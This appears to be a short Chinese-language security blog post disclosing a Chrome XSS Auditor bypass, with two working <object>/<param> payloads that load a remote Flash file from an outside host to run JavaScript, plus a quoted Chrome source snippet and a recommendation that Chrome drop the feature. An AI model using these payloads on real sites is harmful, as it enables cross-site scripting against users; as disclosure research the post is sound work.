利用冷门标签绕过XSS Auditor
大家好!
绕过方式如下:
1
2
|
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
|
同样有效的变体:
1
2
|
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
|
我在HTMLObjectElement.cpp源码中发现Chrome支持这些特殊参数:
1
2
3
4
|
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
|
XSS Auditor会拦截<param name="src">
和<param name="movie">
,但未对code和url参数进行过滤。利用此特性可以加载Flash并执行JavaScript。根据源码注释,Chrome保留此特性是为了兼容性考虑,但该特性在IE/Edge和Firefox中均无效。建议Chrome移除对此特性的支持。
这就是关于使用<param>
标签绕过XSS Auditor的全部内容。感谢阅读!